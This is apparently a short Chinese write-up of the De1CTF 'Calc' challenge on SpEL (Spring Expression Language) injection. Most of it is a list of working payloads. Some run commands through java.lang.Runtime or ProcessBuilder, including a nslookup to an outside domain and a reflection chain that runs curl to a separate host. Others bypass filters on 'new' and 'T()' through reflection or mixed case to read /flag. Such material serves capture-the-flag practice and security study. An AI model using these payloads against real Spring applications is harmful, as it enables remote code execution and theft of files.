De1CTF Calc
Spel注入
我觉得我讲的不会比这篇文章更好了由浅入深SpEL表达式注入漏洞
总结一下
T()
运算符会调用类作用域的方法和常量- 使用
new
可以直接在SpEL中创建实例
常用payload
${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
''.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')
bypass
反射机制
要执行代码肯定要实例化类的,当new
和T
被过滤的时候可以用java的反射机制来获取类
''.class.forName('java.nio.file.Files')
''.getClass().forName('java.lang.Runtime')
getDeclaredMethods()
方法可以获得类中的方法
exp
''.class.forName('java.nio.file.Files').readAllLines(''.class.forName('java.nio.file.Paths').get('/flag'))
大小写
nEw java.io.BufferedReader(nEw java.io.FileReader("/flag")).readLine()